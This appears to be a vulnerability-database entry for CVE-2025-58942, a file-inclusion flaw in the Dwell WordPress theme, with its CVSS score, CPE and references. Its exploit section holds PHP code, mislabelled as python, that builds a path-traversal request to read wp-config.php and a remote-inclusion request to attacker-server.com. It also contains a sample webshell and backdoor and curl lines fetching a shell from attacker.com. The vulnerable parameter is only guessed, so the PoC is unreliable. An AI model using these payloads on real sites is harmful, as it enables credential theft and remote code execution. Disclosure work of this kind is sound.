CVE-2025-58942

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Dwell dwell allows PHP Local File Inclusion.This issue affects Dwell: from n/a through <= 1.7.0.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:dwell:*:*:*:*:*:wordpress:*:* - VULNERABLE

Dwell Theme <= 1.7.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-58942 PoC - WordPress Dwell Theme Local File Inclusion
 * Affected: Dwell Theme <= 1.7.0
 * Type: Remote File Inclusion / Local File Inclusion
 */

// PoC for Local File Inclusion - Read sensitive files
$target_url = 'http://target-site.com/';
$vulnerable_param = 'theme_page'; // Common parameter name

// LFI PoC - Read wp-config.php
$lfi_payload = '../../../../wp-config.php';
$lfi_url = $target_url . '?' . $vulnerable_param . '=' . urlencode($lfi_payload);

echo "[*] CVE-2025-58942 PoC - Local File Inclusion\n";
echo "[*] Target: " . $target_url . "\n";
echo "[*] Payload: " . $lfi_payload . "\n";
echo "[*] Request URL: " . $lfi_url . "\n\n";

// RFI PoC - Remote code execution (if allow_url_include is enabled)
$remote_payload = 'http://attacker-server.com/malicious.php';
$rfi_url = $target_url . '?' . $vulnerable_param . '=' . urlencode($remote_payload);

echo "[*] RFI PoC - Remote Code Execution\n";
echo "[*] Request URL: " . $rfi_url . "\n";
echo "[*] Attacker controlled PHP file: http://attacker-server.com/malicious.php\n";

// Example malicious.php content:
/*
<?php
    // Create backdoor
    if(isset($_GET['cmd'])) {
        system($_GET['cmd']);
    }
    // Or webshell
    @eval($_POST['backdoor']);
?>
*/

// curl exploitation example:
// curl 'http://target.com/?theme_page=../../../../wp-config.php'
// curl 'http://target.com/?theme_page=http://attacker.com/shell.txt'
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-58942
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-58942
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-58942/
[4] VulDB https://vuldb.com/cve/CVE-2025-58942
[5] https://patchstack.com/database/Wordpress/Theme/dwell/vulnerability/wordpress-dwell-theme-1-7-0-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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